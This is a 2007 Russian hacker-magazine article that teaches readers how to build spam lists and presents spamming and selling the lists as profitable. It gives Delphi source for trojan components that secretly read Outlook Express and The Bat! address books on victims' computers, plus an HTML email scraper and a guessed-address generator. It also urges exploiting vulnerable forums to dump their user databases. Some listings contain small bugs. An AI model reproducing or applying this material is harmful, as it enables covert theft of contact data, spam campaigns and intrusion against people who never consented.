Издательский дом ООО "Гейм Лэнд"СПЕЦВЫПУСК ЖУРНАЛА ХАКЕР #74, ЯНВАРЬ 2007 г.

не откладывай подарок

SPIDER_NET

Хакер, номер #074, стр. 048


(SPIDER_NET@INBOX.RU), WWW.VR-ONLINE.RU

СБОР СПАМ-ЛИСТА

ОДНОЙ МЫСЛИ «А ПОЧЕМУ БЫ МНЕ НЕ ЗАНЯТЬСЯ РАССЫЛКОЙ СПАМА? ВЕДЬ НА ЭТОМ МОЖНО НЕПЛОХО ЗАРАБОТАТЬ!» МАЛО. СОФТ, НЕОБХОДИМЫЙ ДЛЯ РАССЫЛКИ СПАМА, МОЖНО СКАЧАТЬ В СЕТИ. А ВОТ СОБРАТЬ СВОЙ СОБСТВЕННЫЙ СПАМ-ЛИСТ - ПРОБЛЕМА. ПРИЧЕМ РАЗМЕР СПАМ-ЛИСТА НЕ ВЛИЯЕТ НА ПОЛУЧЕННУЮ ПРИБЫЛЬ

МЫ НЕ ПОДДЕРЖИВАЕМ РАССЫЛКУ СПАМА ВО ВСЕХ ЕЕ ПРОЯВЛЕНИЯХ. ТАК ЧТО СТАТЬЯ СУГУБО ДЛЯ ОБЩЕГО РАЗВИТИЯ. ТЕМ БОЛЕЕ ЧТО ПОЛУЧЕННЫЕ ЗНАНИЯ МОГУТ БЫТЬ ПОЛЕЗНЫ И ДЛЯ ДРУГИХ ЦЕЛЕЙ

азмер спам-листа определяется наличием у тебя свободного времени, а также желанием его собирать. Если раз в день уделять хотя бы часик сборке мыльников, то за месяц-другой у тебя уже будет солидная база. Даже если ты передумаешь заниматься рассылкой спама, то можешь попросту взять и продать свой собранный спам-лист другим спамерам.

[где собирать.]

Искать нужно непосредственно на тех ресурсах, где пользователям приходиться указывать свои e-mail адреса – на форумах, в гостевых книгах и так далее. Помимо интернета мыльники можно собирать еще по адресным книгам почтовых клиентов, установленных на компьютерах пользователей. Если, к примеру, получить доступ к адресной книге какого-нибудь более-менее крупного предприятия, то можно неплохо пополнить свой спам-лист. Причем пополнить ценными адресами, так как в основном компании ведут переписку с другими коммерческими предприятиями.

[как собирать.]

Бегать по всем сайтам и кропотливо ручками копировать через буфер адреса - путь деградации. Все можно оптимизировать.

[способ 1 – троянизация.]

Первым делом рассмотрим, как можно увести базу известных почтовых клиентов на компьютерах каких-нибудь организаций. Самый простой и верный способ - написать свой небольшой троян, который будет считывать адресную книгу известных почтовых клиентов и отправлять мыльники на специально подготовленный для этой цели почтовый ящик.

Что должен уметь делать троян? Самое главное - он должен уметь читать адресные книги известных почтовых программ (Outlook Express, TheBat!) и отправлять собранные данные на мыло. Помимо этого он должен незаметно сидеть в системе, иначе можно получить по шапке раньше времени.

[Outlook Express.]

Outlook Express сохраняет свою адресную книгу в специальном WAB-файле, поэтому необходимо определить местоположение файла, а потом читать его. Конечно, можно запрограммировать троян так, чтобы он просто переслал этот файл тебе, а ты уже на месте его прочтешь и сохранишь все записи. Способ вроде бы хорош, но примитивен, так как, во-первых, тебе потом придется мучаться с экспортом, а во-вторых, отправить файл с компа жертвы будет тяжелей - многие сейчас обзаводятся персональными файрволами.

Чтобы прочитать WAB-файл с адресной книгой, нужно разобраться с соответствующими API-функциями (все эти функции можно найти в MSDN - www.msdn.microsoft.com). Одна проблема - описанные в нем функции приведены с синтаксисом С, а мы собираемся кодить на Delphi. Более того, в поставке с Delphi нет модуля, в котором описаны эти функции. Кажется, замкнутый круг, но нет: группа программистов JEDI об этом позаботилась и написала модуль для работы с WAB. Кроме того, в поставке с модулями идет хороший примерчик, изучив который, ты сможешь легко написать свой вариант адресной книги. Скачать модуль можешь здесь: ftp://ftp.delphi-jedi.org/api/WAB.zip.

После закачки разархивируй в какую-нибудь папку и обязательно настрой в Delphi путь к модулю, иначе он не сможет найти его, а в твоем проекте появится куча непонятных ошибок. После выполнения всех подготовительных процедур запускай свой Delphi и создавай новый проект. Сразу же удали форму из созданного проекта, так как она не понадобится. Теперь все готово, чтобы приступить, собственно, к написанию кода, поэтому пододвигай клаву поближе...

Первым делом нужно подключить к проекту все необходимые модули. Cсылки на модули перечисляются в разделе Uses. Для прочтения адресной книги понадобятся следующие модули: Windows, SySUtils, WabDefs, WabApi, WabIab, WabTags, ComObj, Classes.

Объяви 2 глобальных переменных:

_fileName:string; //Здесь будем хранить путь к файлу с адресной книгой

_len:Integer; //Служебная переменная, которая пригодится для работы с реестром

Как узнать путь к адресной книге OE? Есть два способа:

- ЗАПУСТИТЬ ПОИСК ВСЕХ ФАЙЛОВ С РАСШИРЕНИЕМ WAB В ЛИЧНЫХ ПАПКАХ ПОЛЬЗОВАТЕЛЯ.

- СЧИТАТЬ ПУТЬ ИЗ РЕЕСТРА.

В примере воспользуемся вторым способом, так как он проще в реализации. Путь к адресной книге находится в HKEY_CURRENT_USER\Software\Microsoft\WAB\WAB4\Wab File Name (в параметре «по умолчанию» как раз и будет нужный путь). Для определения пути к файлу адресной книги можно использовать функцию GetWabPath, которая выглядит следующим образом:

function GetWabPath:string;

var

_regValue:array[0..256] of Char;

_regKey: hKEY;

begin

if RegOpenKey(HKEY_CURRENT_USER,

'Software\Microsoft\WAB\WAB4\Wab File Name',

_regKey)=0 then

RegQueryValue(_regKey, '' , _regValue, _len);

Result:=_RegValue;

end;

В самом начале с помощью WinAPI-функции RegOpenKey проверяется, существует ли указанная в параметре ветка реестра. Если она существует (результат 0), тогда с помощью функции RegQueryValue считывается значение параметра, в котором указан путь к заветному wab-файлу.

Для чтения файла адресной книги мы написали функцию GetAllEmail (смотри листинг 1).

Сразу после имени процедуры объявлена константа, в качестве которой выступает запись TableColumns, определяющая колонки, информацию которых будем считывать из WAB-файла. В свойстве Definition как раз и перечислены все названия колонок. Это далеко не единственный вариант. Чтобы узнать имена констант, которые отвечают за ту или иную колонку, можно, открыв модуль WabTags.pas, запустить поиск по словам, начинающимся с PR_. Нас остальные варианты интересовать не будут, так как цель – получить все e-mail адреса.

Далее идет объявление необходимых переменных. После переменных описана локальная процедура FreeSRowSet. Она необходима для очищения памяти, затраченной на чтение определенной строки из базы адресной книги.

После begin идет код самой процедуры, предназначенной для вытягивания всех адресов. Переменной _fileName присваивается результат выполнения функции GetWabPath. Далее следует проверка, если файл не существует, то просто выходим из процедуры (читать-то нечего!).

С помощью функции ZeroMemory полностью очищается структура _wp. Как только структура очищена, можно начинать заполнять ее свойства. Основное свойство - szFileName, в котором надо указать путь к WAB-файлу. Если путь не указан, будет использован wab-файл по умолчанию.

Далее вызывается функция WabOpen, с помощью которой получаем доступ к адресной книге через интерфейс IAddrBook. Функции необходимо передать следующие параметры:

- УКАЗАТЕЛЬ НА ПЕРЕМЕННУЮ ТИПА IADDRBOOK, В КОТОРУЮ БУДЕТ ВОЗВРАЩЕН РЕЗУЛЬТАТ ВЫПОЛНЕНИЯ ФУНКЦИИ;

- УКАЗАТЕЛЬ НА ПЕРЕМЕННУЮ IWABOBJECT;

- УКАЗАТЕЛЬ НА СТРУКТУРУ TWABPARAM;

- 0 – ЗАРЕЗЕРВИРОВАННЫЙ ПАРАМЕТР.

Если функция выполнится успешно, то вернется S_OK. После выполнения функции можем определить идентификатор адресной книги. Для этого необходимо воспользоваться методом GetPab интерфейса IAddrBook. Выполнив метод, можем открыть интерфейс адресной книги и использовать его по своему усмотрению. Для получения доступа к интерфейсу адресной книги нужно воспользоваться методом OpenEntry все того же интерфейса IAddrBook. В качестве параметров этому методу нужно передать:

- ПОЛУЧЕННЫЙ РАЗМЕР _ENTRYIDSIZE;

- УКАЗАТЕЛЬ НА ОПРЕДЕЛЕННЫЙ ИДЕНТИФИКАТОР ВХОДА ЗАПИСНОЙ КНИГИ (_ENTRYID);

- ТИП ИНТЕРФЕЙСА (УКАЗЫВАЕМ NIL, ИСПОЛЬЗУЯ ТИП ПО УМОЛЧАНИЮ);

- МАСКУ ПРАВ ДОСТУПА (УКАЗЫВАЕМ 0);

- УКАЗАТЕЛЬ НА ТИП ОТКРЫТОГО ОБЪЕКТА;

- УКАЗАТЕЛЬ НА ИНТЕРФЕЙС ВХОДА (НУЖНО УКАЗАТЬ ПЕРЕМЕННУЮ ТИПА IABCONTAINER).

Теперь можно получить доступ к «таблице контента». Она содержит много колонок, но все они нам не нужны, поэтому после получения доступа (_Container.GetContentsTable) с помощью метода SetColumns (интерфейса IMAPITable) устанавливаем колонки, которые реально понадобятся.

Запускаем цикл, в котором с помощью метода QueryRows интерфейса типа IMAPITable получаем столбцы из таблицы. После этого нужно проверить, содержит ли таблица запрашиваемые нами столбцы (if _TableRow.cRows > 0 then). Если все нормально, то можно записывать данные. После записи нужно освободить затраченную память.

[TheBat!]

Те, кто не используют OE, на 90% пользуются TheBat!. Но тут возникают маленькие проблемы. Формат адресной книги TheBat! не является открытым, поэтому невозможно найти каких-нибудь модули, позволяющие ее читать. Но если сильно захотеть, то можно добиться чего угодно :).

У адресной книги TheBat! нет постоянного расположения, она может храниться где угодно. Поэтому в трояне должна быть предусмотрена функция, которая будет искать все файлы с расширением ABD (именно такое расширение имеют файлы адресной книги). Все бы хорошо, но этот способ достаточно ресурсоемкий, так как сегодня винты имеют достаточно большой объем, и поиск займет много времени. Так что альтернативный способ - запусти редактор реестра и лезь в ветку HKEY_CURRENT_USER\Software\RIT\The Bat!. Именно здесь бат хранит все свои настройки.

Среди множества бесполезных параметров есть параметр «Working Directory», в котором прописан путь к рабочей директории бата. Именно в этой директории находятся все файлы почтовых ящиков. То есть если считать значения этого файла, то будем знать, где хранятся настройки всех почтовых акаунтов. В корне этой папки должен быть файл с настройками адресных книг - ADDRBOOK.INI. В нем перечислены все адресные книги, а также места их расположения.

Если хорошо присмотреться к файлу ABD, то среди мусора можно увидеть e-mail адреса. Как тогда отделить мыльники от этого мусора? Теория чтения файла будет такой:

1 ОТКРЫВАЕТСЯ ФАЙЛ АДРЕСНОЙ КНИГИ.

2 ЧИТАЕТСЯ ОПРЕДЕЛЕННАЯ ЧАСТЬ ФАЙЛА, НАПРИМЕР 1024 СИМВОЛА.

3 В ЦИКЛЕ ПРОВЕРЯЕТСЯ КАЖДЫЙ СЧИТАННЫЙ СИМВОЛ НА ПРЕДМЕТ ДОПУСТИМОГО.

4 ЕСЛИ ОБНАРУЖИВАЕТСЯ СИМВОЛ КОНЦА СТРОКИ (#13), ТО ЕСТЬ ВЕРОЯТНОСТЬ, ЧТО СЧИТАЛИ E-MAIL АДРЕС И МОЖНО ЕГО СОХРАНИТЬ.

Почему ориентироваться именно по символу конца строки? Ответ прост - ввод мыльника для нового контакта в TheBat! осуществляется в Memo. Каждый мыльник вводится на отдельной строке. Значит, разумно предположить, что в файле адресной книги после мыльника должен присутствовать символ конца строки.

Остается только организовать всю эту теорию в коде. Запускай Delphi, в исходный код проекта вставляй содержимое листинга 2.

В самом начале основного кода проекта идет инициализация переменной для работы с реестром. В прошлом примере для доступа к реестру использовали WinAPI, в этот раз упростим себе жизнь и воспользуемся готовым объектом для работы с реестром. После инициализации переменной проверяется существование ключа HKEY_CURRENT_USER\Software\RIT\TheBat!. Если он существует, то на данном компьютере установлен TheBat!.

Теперь можно считать значение параметра Work Directory, после чего необходимо проверить существование папки, указанной в этом параметре. Как правило, здесь стоит значение %APPDATA%\TheBat (%APPDATA% - путь к рабочему каталогу пользователя). Поэтому, выполнив проверку с помощью функции DirectoryExists, жутко обломимся, так как она не умеет автоматически преобразовывать подобные пути. Как же узнать настоящее, а не относительное расположение пути? Есть несколько способов, в примере используется реестр. Путь к рабочему каталогу можно считать с Microsoft\Windows\CurrentVersion\Explorer\Shell Folders. Правда, в примере мы немного схитрили, с самого начала надеясь, что если не будет конкретной папки, то рабочий каталог TheBat! будет в рабочей папке пользователя. В большинстве случаев так и есть.

Как только путь определен, можно открывать файл AddrBook.ini и начинать его потрошить. Сначала считывается вся секция Profile в объект типа TStringList, а затем, после запуска цикла, ищется фраза Address Book # среди списка всех загруженных параметров. Если она найдена, то смело можно считывать значение текущего параметра. После считывания стоит проверить путь к полученной адресной книге:

if pos('\', _path)=0 then

_path:=_WorkDir+_path;

Если в пути отсутствует слеш, значит, файл с адресной книгой находится в рабочей папке TheBat!, поэтому нужно дописать к имени файла путь его расположения. После этого процедуре ReadBook в качестве параметра передается путь к адресной книге.

Файл с адресной книгой загружается в файловый поток. Так как файлы с адресными книгами довольно большие, читать будем по 1024 байта (смотри листинг 3).

Проверяется каждый считанный символ. Если он соответствует условиям, то возможно, что этот символ относится к части мыльника, а значит, его можно добавить в переменную _email. В качестве условий проверки учитывается: английский алфавит, цифры от 0 до 9 и некоторые спецсимволы, которые может содержать e-mail адрес. Если проверка возвращает false, то вполне вероятно, что в переменной _email уже сформировался мыльник. Остается сделать еще одну проверку: если текущий символ равен #13 (конец строки), количество символов в переменной _email больше 0 и переменная _email содержит @, можно заносить адрес в список и продолжать сканировать файл адресной книги дальше. По завершении работы нужно освободить память, выделенную под переменные (вызывая метод Free у объектов).

[cпособ 2 - потрошим WEB.]

Рабочие мыльники набираются на всевозможных форумах и гостевых книгах, так как при регистрации пользователю приходиться вводить свой e-mail адрес.

Раньше этот способ был лучшим. Спамеру стоило написать небольшую программку и натравить ее на какой-нибудь сайт, и через несколько часов можно было собирать урожай. Сейчас ситуация стала в корне меняться. Разработчики гостевых книг и форумов пытаются встраивать защиту от пауков спамеров. Например, если на том же форуме phpBB во время регистрации не изменить настройку показа своего e-mail адреса, то по умолчанию его никто не увидит. На других форумах отправка письма происходит через web-интерфейс. Таким образом, разработчики убивают двух зайцев сразу: пользователям комфортнее на форуме, а спамеры не могут получить e-mail адреса с помощью своих программок. Что касается гостевых книг, то многие разработчики идут на хитрость и записывают полученный от пользователя адрес так: spider_net(at)inbox(dot)ru. Простой способ и на корню обрубает деятельность спам-пауков. Но на любое действие есть противодействие.

[как работают спамерские «пауки».]

Первым делом готовится список сайтов, на которые будут натравлены пауки. Получив список целей, паук открывает множество потоков и на полученных страницах вылавливает мыльники. Причем учти, что прокаченный объем трафика будет большой - это основной минус данного способа. Поэтому нужно с умом выбирать цели, а не качать все подряд.

Порой выгодней сначала выкачать определенные ресурсы, используя так называемые оффлайн-браузеры. Скачивать сайт можно целиком или только какой-то раздел сайта, например форум. Задача существенно упрощается. Достаточно написать небольшую утилиту, которой нужно указывать путь к папке, а она, в свою очередь, начнет выдирать мыльники со всех расположенных в ней файлах. Искать можно и в кэш-папке твоего браузера, так как довольно часто во время серфинга ты заходишь на различные форумы и сайты, на которых есть мыльники. Просканировав все эти файлы, можно пополнить свой спам-лист. Единственное, в такой программке необходимо реализовать отсев дубликатов и мусора.

Запускай Delphi и создавай новый проект. На этот раз проект будет содержать форму (смотри листинг 4).

Первым делом происходит инициализация переменных и присвоение первоначальных значений. Далее делается проверка. Если активна первая (точнее нулевая) закладка TPageControl, нужно не проверять мыльники, а сканировать выбранную директорию. За поиск html-файлов в указанной директории отвечает процедура FindFiles. В качестве параметра ей нужно передать начальную директорию, а затем она распотрошит все поддиректории. Для поиска файлов используются WinAPI-функции FindFirst и FindNext.

ОБРАТИ ВНИМАНИЕ, ЧТО ВО ВРЕМЯ ПОИСКА ФАЙЛОВ И ИХ НАХОЖДЕНИЯ ДИРЕКТОРИИ ПРОЦЕДУРА FINDFILES ВЫЗЫВАЕТ САМУ СЕБЯ. ЭТОТ ПРИЕМ НАЗЫВАЕТСЯ РЕКУРСИЯ

При нахождении html-файла путь к нему в качестве параметра передается процедуре FindEmail. В ней и происходит сканирование html-файла на предмет мыльников. Использован такой же алгоритм, как и в поиске мыльников в адресной книге TheBat!. Все найденные мыльники сохраняются в директории, откуда была запущена программа, в файле log.log.

Для теста натравили эту программу на небольшой архив, состоящий из html-версий журнала ХакерСПЕЦ. Поиск по 18 номерам дал на выходе 1099 мыльников.

Но достаточно много мыльников - одинаковые, что недопустимо. Поэтому в программе возможность поиска дубликатов реализована на второй закладке PageControl.

Сначала выбирается файл для сохранения «чистого» лога с мыльниками, после чего запускается проверка. Если мыльника нет в новом логе, то добавляем его, в противном случае - пропускаем. Но перед добавлением происходит проверка на правильность e-mail адреса. Проверка выполняется в функции CheckEmail (смотри листинг 5). Если функция вернет true, то мыльник - правильный, и его можно добавлять.

Самая первая примитивная проверка - определение наличия знака «@». Если его нет, то не имеет смысла продолжать проверку. Следующий этап – разделение мыльника на название ящика (все символы, которые идут до знака собачки) и имя домена (все символы, которые идут после собачки). Отделение одной части мыльника от другой происходит с помощью функции Copy. Результаты ее выполнения сохраняются в переменных _name и _server.

Функция CheckEmail содержит в себе еще и локальную функцию CheckAllowedSymbol, которая предназначена для проверки на недопустимые символы (проверяются переменные _name и _server). Известно, что e-mail может состоять только из латинских букв (в разных регистрах), цифр от 0-9, знака подчеркивания (_), тире (-) и точки. Другие специальные символы (: , ; = ‘) не могут употребляться. Если переданный в качестве параметра мыльник содержит запрещенные знаки (функция вернет false), его добавлять не стоит.

В качестве теста обработали все тот же лог мыльников с архива журнала ХакерСПЕЦ. После проверки лог-файл существенно сдулся - осталось 347 мыльников.

[способ 3 – генерация.]

В Сети на довольно старых бесплатных почтовых сервисах зарегистрированы миллионы пользователей. Взять, к примеру, самый часто используемый почтовый сервис – mail.ru. Он уже довольно долго предоставляет услуги бесплатной почты, поэтому почтовый ящик на этом сервере есть у каждого второго. А это значит, что почти все нормальные адреса уже заняты. Нормальные - это те адреса, в которых в качестве названия ящика используется реальное имя (или ник) человека. Допустим: igor@mail.ru, spider_net@inbox.ru, sanek@mail.ru и так далее.

Теперь понимаешь, как этим пользуются для достижения цели? Все что остается спамеру, - составить свой словарь русских имен и популярных ников и написать простенькую тулзу, которая будет добавлять к каждому логу или имени знак @, плюс имя домена! Вероятность существования таких ящиков будет практически стопроцентной.

Подобных бесплатных сервисов достаточно не только в рунете, но и у буржуев. Взять тот же буржуйский hotmail.com. Представляешь, сколько пользователей пользуется этим сервисом? Только для генерации адресов для иностранных почтовых служб, естественно, понадобится словарь с иностранными именами.

Первый вопрос: где взять словарь с именами? Его можно составить самому (что очень невыгодно и муторно), а можно скачать готовый. К счастью, таких словарей можно найти огромное количество. Их, кстати, составляют еще хакеры для своих программ подбора паролей. Остается только добавить к ним имя домена. Вручную добавлять имена доменов достаточно неудобно и долго (особенно если словарь состоит из нескольких тысяч имен), поэтому нужен оптимизатор действий. Логичнее всего написать небольшую программку. Мы приведем пример на Delphi.

В примере предусмотрена генерация мыльников для нескольких доменов, включая возможность выбора всех доменов, а также возможность транслитерации имен из словаря, в случае если они записаны русскими буквами. Это будет актуально, если ты вдруг сам решишь составить словарь имен. Весь код не приводим (он есть на диске к журналу), но рассмотрим функцию, которая отвечает за транслитерацию (смотри листинг 6).

В разделе объявления констант определяются две константы: RusL и RusU. В них перечислен весь русский алфавит в разных регистрах. В двумерном массиве mas записаны латинские эквиваленты русским буквам. То есть первая в латинской раскладке буква «a» будет соответствовать нашей букве «а». Теперь, когда есть заранее определенный массив, ничего не стоит запустить цикл и в нем проверять каждый символ, переданный в качестве параметра слова. Если текущий символ найден в массиве той или иной раскладки, то это значит, что его можно заменить, в противном случае оставить как есть.

Для теста мы создали текстовый файл, в который записали несколько произвольных русских имен. После этого скормили этот файл программе. Спустя секунду программка закончила свою работу и любезно сохранила результат своей деятельности в выбранный лог-файл.

[способ 4 - срываем куш]

Так уж повелось, что многие пользователи на своих сайтах используют форумы, CMS и так далее. Как правило, все пользуются хорошо известными и популярными решениями: phpBB, IPB, PostNuke, Joomla... Но у всех этих чудесных программ рано или поздно находят ошибки в коде. В результате появляются перспективы для атаки: php Including, SQL Injection, XSS. Воспользовавшись одним из типов атак, можно сделать с сайтом все, что угодно, начиная от банального дефейса и заканчивая дампом всех баз данных. В контексте статьи нас интересует дамп базы данных, которая содержит адреса пользователей, вводимые ими при регистрации.

В момент появления нового публичного эксплойта можно запросто поднять кучу баз данных с адресами пользователей. Все, что потребуется, - отыскать уязвимые форумы и нанести решающий удар. Как правило, в первые месяцы после появления эксплойта уязвим каждый второй ресурс...

Функция GetAllEmail для чтения адресной книги Outlook Express

procedure GetAllEmail;

const

TableColumns:record

count:ulong;

Definition: array [0..4] of ULONG;

end = (Count: 5;

Definition:(PR_DISPLAY_NAME, PR_EMAIL_ADDRESS,

PR_PERSONAL_HOME_PAGE, PR_ENTRYID,

PR_OBJECT_TYPE);

);

var

_wp:TWabParam;

_Container: IABContainer;

_EntryID: PEntryID;

_EntryIDSize, ObjType: ULONG;

_Table: IMAPITable;

_TableRow: PSRowSet;

_AddrBook: IAddrBook;

_WabObject: IWabObject;

_file:TStringList;

//В процедуре происходит очистка

//затраченной памяти.

procedure FreeSRowSet(var P: PSRowSet);

var

I: Integer;

begin

for I := 0 to P^.cRows - 1 do

_WabObject.FreeBuffer(P^.aRow[I].lpProps);

_WabObject.FreeBuffer(P);

P := nil;

end;

begin

_fileName:=GetWabPath;

//Если полученный путь к адресной книге не существует,

//тогда выходим

if not FileExists(_fileName) then Exit;

//Присваиваем в интерфейсы значение по умолчанию

_AddrBook:=nil;

_WabObject:=nil;

ZeroMemory(@_wp, sizeOf(_wp));

_wp.cbSize:=sizeOf(_wp);

_wp.szFileName:=pchar(_fileName);

_wp.hwnd:=0;

//Инициализируем память под объект типа TStringList

//В нем у нас будут храниться результаты потрошения книги

_file:=TStringList.Create;

//Открываем файл

WabOpen(_addrbook, _wabObject, @_wp, 0);

//Определяем идентификатор адресной книги

_AddrBook.GetPAB(_EntryIDSize, _EntryID);

//получаем доступ к интерфейсу адресной книги

_AddrBook.OpenEntry(_EntryIDSize, _EntryID, nil, 0,

ObjType, IUnknown(_Container));

//Устанавливаем колонки, значения которых мы хотим получить

//Перемещаемся в самое начало

_Container.GetContentsTable(0, _Table);

_Table.SetColumns(@TableColumns, 0);

_Table.SeekRow(BOOKMARK_BEGINNING, 0, nil);

//Перечисляем значение всех колонок

repeat

_Table.QueryRows(1, 0, _TableRow);

if _TableRow.cRows > 0 then with _TableRow^.aRow[0] do

begin

_file.Add(lpProps[0].Value.lpszA+' <'+lpProps[1].Value.lpszA+'>');

FreeSRowSet(_TableRow);

end else Break;

until False;

//Сохраняем результаты в файл

_file.SaveToFile(ExtractFilePath(ParamStr(0))+'log.log');

_file.Free;

end;

Обработка ABD-файла в TheBat!

program Project1;

uses

Windows,

System,

SysUtils,

Registry,

Classes,

IniFIles;

{$R *.res}

var

_WorkDir:string;

_reg:TRegIniFile;

_Ini:TIniFile;

_appDir:String;

_adrBookPath:TStringList;

_db:TStringList;

_path:string;

i:integer;

//Процедура читает файл с адресной книгой

procedure ReadBook(_fileName:string);

var

_AddrBook:TFileStream;

_Buf:array [0..1024] of char;

_email:String;

i, index:Integer;

begin

//Присваиваем пустое значение в переменную, в которой

//будет складываться мыльник

_email:='';

//Открываем для чтения файл с адресной книгой

_AddrBook:=TFileStream.Create(_fileName, fmOpenRead);

//Читаем 1024 байта из файла адресной книги

index:=_AddrBook.Read(_buf, 1024);

//В циклах проверяем посимвольно считанные данные

while index>0 do

begin

for i:=0 to index do

begin

//Если текущий символ является допустимым для

//мыльника, то мы его оставляем и добавляем к переменной

//_email.

if ((_buf[i]>'A') and

(_buf[i]<'z')) or ((_buf[i]>'0') and (_buf[i]<'9')) or

(_buf[i]='.') or

(_buf[i]='-') or

(_buf[i]='_') or

(_buf[i]='@') then

begin

_email:=_email+_buf[i];

end

else

begin

//Если мы нашли конец строки,

//количество символов в переменной _email больше 0,

//и самое главное в ней есть знак @, то значит

//нам повезло, - мы вытянули нормальный мыльник,

//и можно его добавить в список найденных.

if (_Buf[i]=#13) and (Length(_email)>0) and (pos('@', _email)>0 then

_db.Add(_email);

_email:='';

end;

end;

//Читаем следующую партию данных

index:=_AddrBook.Read(_buf, 1024);

end;

//Освобождаем выделенную память под объект

_AddrBook.Free;

end;

BEGIN

//Инициализируем переменную для работы с реестром

_reg:=TRegIniFile.Create('Software');

//Если нет ветки, которую создает бат, то

//можно выходить, так как скорей всего программа

//не установлена

if not _Reg.KeyExists('RIT\The Bat!') then

begin

_reg.Free;

Exit;

end;

//Получаем рабочий каталог thebat

_WorkDir:=_reg.ReadString('RIT\The Bat!', 'Working Directory', '');

//Если полученный рабочий каталог не существует, то...

if not DirectoryExists(_WorkDir) then

//считываем путь к рабочему каталогу пользователя

_appDir:=_reg.ReadString('Microsoft\Windows\CurrentVersion\Explorer\Shell Folders',

'AppData', '');

//Избавляемся от символов переменной окружения

if Pos('%',_workDir)>0 then

begin

_WorkDir:=Copy(_WorkDir, Pos('\', _WorkDir)+1, length(_WorkDir));

_WorkDir:=_appDir+'\'+_WorkDir;

end;

//Инициализируем переменную, к которой

//будем добавлять все пути к найденным адресным книгам

_adrBookPath:=TStringList.Create;

//Связываем переменную _ini с файлом настроек адресных

//книг бата.

_Ini:=TIniFIle.Create(_WorkDir+'ADDRBOOK.INI');

//Читаем его и выдираем пути ко всем адресным книгам

_Ini.ReadSection('Profile', _adrBookPath);

_db:=TStringList.Create;

for i:=0 to _adrBookPath.Count-1 do

if Pos('Address Book #', _adrBookPath.Strings[i])>0 then

begin

_path:=_Ini.ReadString('Profile', _adrBookPAth.Strings[i], '');

if pos('\', _path)=0 then

_path:=_WorkDir+_path;

//Вызываем процедуру, которая читает файлы с адресной книгой

ReadBook(_path);

end;

_db.SaveToFile(ExtractFilePAth(ParamStr(0))+'log.log');

_db.Free;

_Ini.Free;

_reg.Free;

_adrBookPath.Free;

END.

Цикл, в котором анализируется каждый символ

for i:=0 to index do

begin

if ((_buf[i]>'A') and

(_buf[i]<'z')) or ((_buf[i]>'1') and (_buf[i]<'9')) or

(_buf[i]='.') or

(_buf[i]='-') or

(_buf[i]='_') or

(_buf[i]='@') then

begin

_email:=_email+_buf[i];

end

...

Поиск e-mail адресов в файлах

procedure TForm1.FindFiles(dir: string);

var

SearchRec:TSearchRec;

begin

if dir[length(dir)]<>'\' then

dir:=dir+'\';

if FindFirst(dir+'*.htm', faAnyFile, SearchRec)=0 then

repeat

Inc(_CountFiles);

Label6.Caption:=IntToStr(_CountFiles);

FindEmail(dir+SearchRec.Name);

until FindNext(SearchRec)<>0;

if FindFirst(dir+'*.*', faDirectory, SearchRec)=0 then

begin

repeat

if ((SearchRec.Attr and faDirectory)=faDirectory) and (SearchRec.Name[1]<>'.') then

FindFiles(dir+searchRec.Name+'\');

until FindNext(SearchRec)<>0;

FindClose(SearchRec);

end;

end;

Функция CheckEmail определяет правильность e-mail адреса

function TForm1.CheckEmail(email: string): Boolean;

//Локальная функция, которая проверяет, нет ли в e-mail

//адресе недопустимых символов

function CheckAllowedSymbol(s: string): boolean;

var

i: integer;

begin

Result:= false;

for i:= 1 to Length(s) do

begin

if not (s[i] in ['a'..'z', 'A'..'Z', '0'..'9', '_', '-', '.']) then

Exit;

end;

Result:= true;

end;

var

i: integer;

_name, _server: string;

begin

Result:= false;

//Сначала проверим, содержит ли вообще мыльник знак @

//Если нет, то это 100% не e-mail, поэтому можно выходить

i:= Pos('@', email);

if i = 0 then

Exit;

//Копируем в переменную _name название почтового ящика, то есть

//все, что расположено до знака @

_name:= Copy(email, 1, i - 1);

//Теперь наоборот, копируем доменную часть мыльника

_server:= Copy(email, i + 1, Length(email));

//Делаем проверку

//Если длина названия почтового ящика равна 0

//либо длина имени домена меньше 5, то значит,

//это не мыльник, и можно выходить из процедуры

if (Length(_name) = 0) or ((Length(_server) < 5)) then

Exit;

//Проверяем, содержит ли мыльник знак «точка»

i:= Pos('.', _server);

if (i = 0) or (i > (Length(_server) - 2)) then

Exit;

//Все проверки пройдены, остается лишь проверить на недопустимые символы

Result:= CheckAllowedSymbol(_name) and CheckAllowedSymbol(_server);

end;

Функция, которая отвечает за транслитерацию

function TranslitRus(const Str: string): string;

const

//Русский алфавит в нижнем регистре

RusL = 'абвгдеёжзийклмнопрстуфхцчшщьыъэюя';

//Русский алфавит в верхнем регистре

RusU = 'АБВГДЕЁЖЗИЙКЛМНОПРСТУФХЦЧШЩЬЫЪЭЮЯ';

//Массив, в котором перечислены по порядку

//латинские буквы

mas: array[1..2, 1..33] of string =

(('a', 'b', 'v', 'g', 'd', 'e', 'yo', 'zh', 'z', 'i', 'y',

'k', 'l', 'm', 'n', 'o', 'p', 'r', 's', 't', 'u', 'f',

'kh', 'ts', 'ch', 'sh', 'shch', '', 'y', '', 'e', 'yu', 'ya'),

('A', 'B', 'V', 'G', 'D', 'E', 'Yo', 'Zh', 'Z', 'I', 'Y',

'K', 'L', 'M', 'N', 'O', 'P', 'R', 'S', 'T', 'U', 'F',

'Kh', 'Ts', 'Ch', 'Sh', 'Shch', '', 'Y', '', 'E', 'Yu', 'Ya'));

var

i: Integer;

_len: Integer;

_p: integer;

_d: byte;

begin

//Очищаем результат

result := '';

//Получаем длину передаваемого слова

_len := length(str);

//Запускаем цикл, в котором сравниваем

//текущий символ с символом-эквивалентом

//из нашего массива

for i := 1 to _len do

begin

_d := 1;

_p := pos(str[i], RusL);

if _p = 0 then

begin

_p := pos(str[i], RusU);

_d := 2

end;

if _p <> 0 then

result := result + mas[_d, _p]

else

result := result + str[i];

end;

end;

Содержание